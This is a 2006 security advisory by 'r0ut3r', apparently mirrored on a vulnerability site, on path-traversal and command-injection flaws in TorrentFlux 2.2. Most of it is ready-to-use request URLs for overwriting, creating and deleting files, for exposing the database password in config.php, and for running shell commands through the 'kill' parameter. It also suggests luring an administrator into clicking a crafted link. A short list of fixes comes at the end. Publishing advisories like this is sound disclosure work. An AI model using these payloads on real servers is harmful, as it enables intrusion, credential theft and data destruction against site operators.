Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:15097
HistoryNov 16, 2006 - 12:00 a.m.

TorrentFlux 2.2 Arbitrary File Creation/Overwrite/Deletion & Command Execution Vulnerablities

2006-11-1600:00:00
vulners.com
14

#################################################################################################

r0ut3r Presents…

Another r0ut3r discovery!

TorrentFlux 2.2 Arbitrary File Creation/Overwrite/Deletion & Command Execution Vulnerablities

#################################################################################################

Software: TorrentFlux 2.2

Vendor: http://www.torrentflux.com/

Released: 2006/11/15

Discovered By: r0ut3r (writ3r [at] gmail.com)

Criticality: Highly critical

Note: The information provided in this document is for TorrentFlux administrator

testing purposes only!

"TorrentFlux 2.2Beta does not seem to be vulnerable"

#################################################################################################

TorrentFlux 2.2 Arbitrary File Creation/Overwrite/Deletion & Command Execution Vulnerablity

alias_file = name of file you want to create.
delfile = name of file you want to remove

-= To overwrite a file (make sure q.php is there, provided thats the file you want to overwrite): =-
/torrentflux/index.php?alias_file=…/…/q.php&kill=3361&kill_torrent= q.torrent

-= To create a file: =-
/torrentflux/index.php?alias_file=q.php&kill=3361&kill_torrent=q.torrent

All files are filled with:
0
0
Torrent Stopped

-= Exploit on config.php =-
/torrentflux/index.php?alias_file=…/…/config.php&kill=3361&kill_torrent=q.torrent
It will redirect you to index.php and it will display the DATABASE USERNAME/PASSWORD IN PLAINTEXT, plus the rest of the config information!

index.php displays:
0 -100 Torrent Stopped * TorrentFlux PHP Torrent Manager * www.torrentflux.com

*************************************************************/ / This file is part of TorrentFlux. TorrentFlux is free software; you can

redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either

…etc…

**************************************************************************/ // YOUR DATABASE CONNECTION INFORMATION

/**************************************************************************/ // Check the adodb/drivers/ directory for support for your

database // you may choose from many (mysql is the default) $cfg["db_type"] = "mysql"; // mysql, postgres7 view adodb/drivers/

$cfg["db_host"] = "localhost"; // DB host computer name or IP $cfg["db_name"] = "tf"; // Name of the Database $cfg["db_user"] = "root"; //

username for your MySQL database $cfg["db_pass"] = "owned"; // password for database

-= Files can also be deleted like so: =-
/torrentflux/index.php?alias_file=owned.php&kill=3361&delfile=owned.php

-= Command Execution Exploit =-
/torrentflux/index.php?alias_file=owned.php&kill= ; echo "r0ut3r's TorrentFlux 0day" > /tmp/q.php&kill_torrent=q.torrent&return=true

Replace kill parameter like so:
kill=; your command
kill=; echo "r0ut3r just owned your system! hacked!" > /tmp/read_this.php

The only draw back is that you have to be a registered member before you can access the functions of index.php.
Alternatively you could direct the administrator to a link which overwrites the config.php file, then catch the output on index.php somehow (be quick).

Solution:

Sanitize all variables listed above and below.
alias_file
delfile
kill
kill_torrent

Solution 2:

Set up .htaccess and only allow certain people to login until an offical patch is released.


          This has been another r0ut3r discovery (writ3r [ at ] gmail.com)